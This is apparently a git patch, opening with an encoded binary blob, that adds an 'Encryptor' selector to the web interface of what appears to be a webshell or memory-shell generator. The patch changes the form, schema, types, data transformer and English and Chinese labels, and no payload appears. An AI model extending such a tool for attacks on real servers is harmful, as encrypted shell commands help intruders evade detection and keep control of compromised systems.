z;0N%aRz<1Ec0b>9(CcXj&0Hc5rz$d^*0CWKE1K=G1b{5wM zKtBY0RWCS#=VZn=VzOWHduv0z>&RXMI0vW$pmG-h_1M@~ zd>mgrB+<_+>BW1nm@&L`@H3F!0^R`7Ul|f-MXz1V9%b9ss)d*no~MOz47zb`>`4*9e{nKi?V~!7r4z zhkO@+0|3>v16~fG*QZ>4DMhseX)aLDqiV<(N~2Gbh|!hb8PZNPP+M?D5u#Ctyn6s6 z&u+jB5zWyLhz#VR@{DEOp)A@H6bT0<5^l7^s0bxUiiA0h;@J&RRiyn_u2Bd5Efk6m zQF_aa`@aH3I^TrpO0XHr(cRFaMCDOO{Zk0k4sn--Y~)4;7`Z~PDEik!$mn(<ueH;d|^V>G|_tknL-+9&Zs z*vb(+FToa%Z5Y9;ljy!=pbn!yx-Z6_`6G0wgW^HkzxoM;_Wx-d{L9$EUQEJAJrt4F zzn%k(5ioWl@<8c8O2^U81j^C>R}a(ymJTP1?Efh|N)gx%>L4MZ9-v2#vM8hW-|QvY zL&o#<|1@?Od-jjo1^m5J?6kdi#uh zx&itTjg)^H>k*LG2YKj*cpD%ZfUclh0C9j=Kn#E$Mlz(60Eq}tF9CQnARc|M5f8#< z0Ln-OaVsE&#%aJLKsq23unx+s2keG)79axBNZSeNT{Jri>^Q(}uwMgi0WJd?0ebha2gV)04D(_05yQ)fNDS$;25A1Pyr|hlmV^) zZUSxqt^=9?NV^8ON=wtrAbtfvoq{^G2ha}a23$e6rN~hi;0d4;@C@)2@DlI>@Ca}R zfGRx%+y~qP+y%4(9spVZ%>Z&qBZl=&Ea~Yhn44gr)cytWA<2dP$1l z$AsUBt&$~(;tyg66@iMd{jvmS_;q%l96>-vPhAggR^d}PoWyC_o<5ZYXAfToS9-`5 zx>x0sqgNHgEaV6Vc&db55GDv>)p7)Bar(kT##9SN#?!h?(i=zfnZ?%YUn?M*e#@H1I>Ud2oofCXJDG=mD=nJ{gmzSYbU8=5$ zZBigeXwjE_qc27Sx!UTG3!hhPC>O3Y`f@b{ytX>LL{ zkVr|=!xdoFhJD9%VCG8*qQdkQ-RLXY@Ztxc9uebFf_kGU`Byy_Z5?%O9Cl*~K@9#o zSkDrI%8G^d)CGVNf#EWmR?YN?5I=pZ7vj`X*G6&D7MP1O&E01`Yk6%Ja&*_MCU!%##=T?ZXD%Ar;vo^_zS&N7X1 z$OPCZer+7FUPXd3Jfh@OA{f(#0oJqx4rH?vWui^9zkkj8^wVo*1iS&YH*wFgKqZ0- z@f#Fa3j5KFh$Y>%b7FFTh4$A!t5lC*-0r>OfmVXg-Jj#Erfz4=LfIcQB{IC)}cbs#iUTGNtGaqd8k5x zo#@Xd_~V4GLMVoV8h$wn7flTX@b{o4DNyL^xzSe~5}+Jm)Zt&D1UHlr&R0!-eR}qz z0A3lqzy!WpgWyKk?1r7uAc!p8XdPaqc5)KVb-A{A<0)g zpL5O)n}NC#^yT=Dh-+ScGQ8ezzC^bhrl|?uN5MN>Y}2@ft%r}CNw_~>g1*GxE!^kj z3d018`5a+)Y#XXeUlg!s`vzOB{O+6cCFsirme*_x`^+x?cs|F?9eW6MB{sNIJ}snm zmhnp7Q5<%iFOlk=uLaI&OB1GTT3bH%{9vQyd;$96h3kZ7h&<8)lk+)E?wAXzOJD9# zHC&kO+wCyh`4aD-S-25P%VItivWCwnX+CGd9V>>q67(e$$;Km#!g30;=1WL>U>(Ri zebL3{$u#M$mEPp}67*#m+4;;=8t{i6&gZQ3z@)SZA|muv1%|5OUlLKYz9; z?fgBTLtoJ4~nG5GD(N|J5 z_?qInfOl8td=7oB#l8Dyi|ZHheVossuf{kPaCn<;@q@Yf9Qt~VA1vkBC#debGn#C8rIve|5ldrRUI>h0INt@ZFX$p*WvIUpUh1&GoWf z-_ynBbLdM;nzOlYh|OvVVkZ6Nj=uV&oH?<}1pDP(cYLPNS1&^~ zsI%ZGTL5lFKKPk*KeE8p)a6GU*T;&hrS|Z$d?OWJaprgU`l4yQ`a(p z8<#F!f;fHv8=_Fz$XRc1jOUbNVWoEvzb;oN15Xgrb+23dMS%#8UdYnyH<0PZDDuh0K?rue@2Z z4Y$m{yfkb+$1V(0UkY{UYjvuHEMf7@VRL@4_ zMlcM_1f!uyYN@%Prk0sXIEo94Fe(}fsF{_&(lidaf|i#0$u*};R7`P01=HLRarv2P zD!DH|^>^;Q^Oymi>BoO~@7=T9bI(2Z+)TFYIRdBSIH}vHi#~8=avymb*X` zU+L4G(#Pu<8!_VG{=_y~4bw5W3wYCUsvs7UBBc*`E?wl8v3OyAhTx`yhC=#uXMHzw zJ8h!h9h)AaIFG?~Z9#{n&fuh#z6iSc&Ug1FoOqA^rxxpuDKL!5ZO1#B-2r?t#0}bD zsfot5ts#vo+YNf)#dhM+`lRR&J)4y+`0CKFG~?mo z9I`VFuf~w~Y*+MeUp+otF%W#b>FC2>39!xX!SBC!YWvZeP3WHh{(K1VPdc`bt+uot zZL!4fWvSNh?|-Jz2yk{sI{t8*$snVz^dZ)!9)0dkTeozE zZQe1w6BPz^)vH-V)O7SSc&j;^IT>SY5mp^fP7WS*h;Cff1)6A{U@4u+`_k0XD(mh0 zw53(sxlb|uOjq)4b2XTPpKN>WWr`);!Jk$oTc%D_d@1Ax_pDy8ZLjR=s}%^%K?H)# zO!0^W+lugIt3zg74gpfp)3!c%Jlj$YpA4)TAQsWT``k+DELthE;%X1VG<(kcpk~(A%{?rTpV4=0D=^hc22XKQ zb-YS*jEA~YxhjH@{&_-dG>mfGHF#ES$}D}_!V!BC_EW=xXZ4vw4&2m7%6BYQeOZV9 z>TW6A%DPjkn%nWoiQB}tO1$VsUbW}qCoBl^gS3M^Ei={$d}fIgOMTU=*|zmLW+~P$ zge$Nz4t#vXUeAC^wp)4JTb`R25- zkIiS0JPErFg^0+6cm`(@8ns#dXzV3-D*gvW>Y@myQAl6FzI|DBu48&+W4<2~(7-;i zjU_`N8;(uJ9%cxJvy*Y68D?k~5RAw0j<&-~hh}~~y?pyEIHD+X&siZWD z)yStwUh`bJT|sbUc=?4+TZ8J`@zW`cP2h>O-PrQAcw1p%9X*4+TZ8 zJ`@zW`cP10>q9}3s}BW5u09kLx%yC0f(oWNYr<5AVG<(rniz3lwpg6C~qB zGWs{>Wev8f-3ct96D}voVn>`Jiyd)_Z!a;T5x+!#Z&W8;uxpb=lemn8CS}!tlQ=1k z)Uh17^34$+q{Rd+u&a{=n7GU&l3`v5_H1QPetxdNE+dOMaT$&|QR>RB0XlKgueK5W znQOUT5Oe!iyE<90iObxwnH|w+Qol2sdVgq_k%gbQj9>3W;ku&#&i>xZ_pLj2Az4I< z3&|oL#5(n69QL`RxQm}O{>PFgW{*kobNT0i(w7F0A>qVb98;3DfU!V<^eQzBq4QpRnJ$kphNA&_Z3EhX)w%jyxP=^XR+OC`ZoeHzP!@>-J(N_H`@J?J5OwzhOZJP7A?%51jUCG!G9x4GI7@mmJisSIglv$ za5TK`E&ZT0CGVj7N#65uGT0_S12vp%n<1Q@OlMe|j!5}HWKNq&o^M2h>H5>-%8G%Ned}8EPaABN zLMI0?-PJ*bpQXU`>Ikbn*V?Crlm@FT^hSXGcwmVI-qk)>BId|7CA#=huXzMcOpesi z;YP2RxfI)vrM0qTsaPwkPWZf5bh`&ZsNuTSIwKveekKZAEABTi*RS2dd^_dfQv8C+ z{z)7f;wXz;|Hjq>*9X}-9uuW8Q3_Xej?wlvEw)oM-(oq*1{%H)8N1 z$BcCG{;;zJHRIq-95N2pG#)lp3}l+=wGw4U!$%nw8?p|cF1XdY)ywwRMfSS;o=Lz+20!4jIDl#*gew7&ZTyyt>d(?M;$w+2?I zaP1oCVqLKT+SkJ+n;`^!3c))}&y=*cOh`4Shb5$>j2dB1H(Nr*U1(~2TDm#SGB)kQ zl+bhwX-~q~#{`C1f|jX z5nVuKG)3W=?J$+Is*HrOwO3NG-YhK<{wh0IPO`8WZ_JOYYfh!0r0ax@Z0j*k zOO{cUHF-H`3BlUtscOk4s*xv!QcA{%q2^Ey#PfMtdy+iA=QItwVL9D>dXfSr`83(v z;}o@>IR$?BWjVBFZ4FSzSW?f@Am=bKYIDQ4%fW=Z%ORlt(D=0RBa%bo(~=^MINMj% zEcY}t!oW&+8H+qsJXSmzrw1-QMHryHZ9@eFS3gEq-+8jG0;?ajm~q-cOoJ=Sse7l2 z8g1`aIP^xC7#l>)DGF43Z@bRYYPUbq*jrUUQY@bnv3w4~tbXUg;Ec2Wg7>lCIoN}# zH)%Zo`wJRV{G0I1P4aWdC5S`st7QM#D+G7HbB*fojhBcm>l!S>9ho!>v!)W?wrk*o zA5;-!B(>GY#Z|Pt*rRoS6%0_~`75Bu)QPm9zPnCpDsNIW9KH_Y#NFT<&|k1zxItQj zas;y)qnRCCHv1;&=Ogo<1n#J(m5U`e!IR82FmuOLckY2xZh=NcnF1Hyg6OJ z3b;);H&;3GHdT5puhGy3-I3;kD_?hqytvg<6@dIveV3+zOT2TJvRU9YvaaARgb?OZ zHWk89e~-ow_drAcx{^DN8afHKWz;G}uihh_T(l~K=B>wl0zcSe?lf9Df8VE2oN|Zs zMn9-w$*c#|q46OY@bm*hE7|ySuTzi>$e=jYJ|s_ayV_=uW7F6p@1gJ^Ig$J7(L;F8 zy66$CRHAMdwE3xvYKybVpfjSITD2Cli)oT#R+C}NcY!BFP)@xiC9J`FDIL{l;VI14 z!c&<2-Z6zqGCYMz54BR5LvzQPo$wUqK=wkO!fY+IQdkW>p2BLh@D%1KX-{D__-duF z+O(G>3+*Y)Q7KPhjt$gHkR;-e!iXhj6)jfnA%Yf+xb`s3cK^eC_u}{S4@>QD334z7 z93jw$vj*epBTx@hjz~Pbp#>4kjzA~6#Qy;u#6^!s{s3R;zS&WFEyu}v?D;!5WAah( zq=uZM^fMw``(p>5w~z52;*SBdf-VLuKSo)@X2sy+WQE^xyA{;HtjIaet)NRd-aSq$ zfwtrmTm@YsFy#>SJnIC#z2WT; shellTypes: Array }>) { const { t } = useTranslation(); + const { data } = useQuery>({ + queryKey: ["commandEncryptor"], + queryFn: async () => { + const response = await fetch(`${env.API_URL}/config/command/encryptors`); + return await response.json(); + }, + }); + const rawEncryptors = data ?? []; + const [encryptors, setEncryptors] = useState>(rawEncryptors); + + const shellType = form.watch("shellType"); + + useEffect(() => { + if (shellType.startsWith("Agent")) { + setEncryptors(["RAW"]); + } else { + setEncryptors(rawEncryptors); + } + }, [shellType, rawEncryptors]); + return ( @@ -23,20 +47,45 @@ export function CommandTabContent({ - ( - - - {t("shellToolConfig.paramName")} {t("optional")} - - - - - - )} - /> +
+ ( + + + {t("shellToolConfig.paramName")} {t("optional")} + + + + + + )} + /> + ( + + {t("shellToolConfig.encryptor")} + + + )} + /> +
diff --git a/web/src/i18n/en.json b/web/src/i18n/en.json index 6e913ec7..0ce30a20 100644 --- a/web/src/i18n/en.json +++ b/web/src/i18n/en.json @@ -108,7 +108,8 @@ "paramName": "Param Name", "pass": "Pass", "suo5Header": "AdvanceConfiguration -> Request Header", - "base64String": "Shell Class" + "base64String": "Shell Class", + "encryptor": "Encryptor" }, "success": { "generated": "Generation successful" diff --git a/web/src/i18n/zh-CN.json b/web/src/i18n/zh-CN.json index b088cfcf..20b40022 100644 --- a/web/src/i18n/zh-CN.json +++ b/web/src/i18n/zh-CN.json @@ -108,7 +108,8 @@ "paramName": "请求参数", "pass": "密码", "suo5Header": "高级配置 -> 请求头", - "base64String": "内存马类" + "base64String": "内存马类", + "encryptor": "加密器" }, "success": { "generated": "生成成功" diff --git a/web/src/types/schema.ts b/web/src/types/schema.ts index 336464e6..7ec5cdee 100644 --- a/web/src/types/schema.ts +++ b/web/src/types/schema.ts @@ -20,6 +20,7 @@ export const formSchema = z.object({ packingMethod: z.string().min(1), shrink: z.optional(z.boolean()), shellClassBase64: z.optional(z.string()), + encryptor: z.optional(z.string()), }); export type FormSchema = z.infer; diff --git a/web/src/types/shell.ts b/web/src/types/shell.ts index b88897d1..dec3d14f 100644 --- a/web/src/types/shell.ts +++ b/web/src/types/shell.ts @@ -19,6 +19,7 @@ export interface ShellToolConfig { headerName?: string; headerValue?: string; shellClassBase64?: string; + encryptor?: string; } export interface CommandShellToolConfig { diff --git a/web/src/utils/transformer.ts b/web/src/utils/transformer.ts index 1ae52dc5..9817df5d 100644 --- a/web/src/utils/transformer.ts +++ b/web/src/utils/transformer.ts @@ -43,6 +43,7 @@ export function transformToPostData(formValue: FormSchema) { headerName: formValue.headerName, headerValue: formValue.headerValue, shellClassBase64: formValue.shellClassBase64, + encryptor: formValue.encryptor, }; const injectorConfig: InjectorConfig = {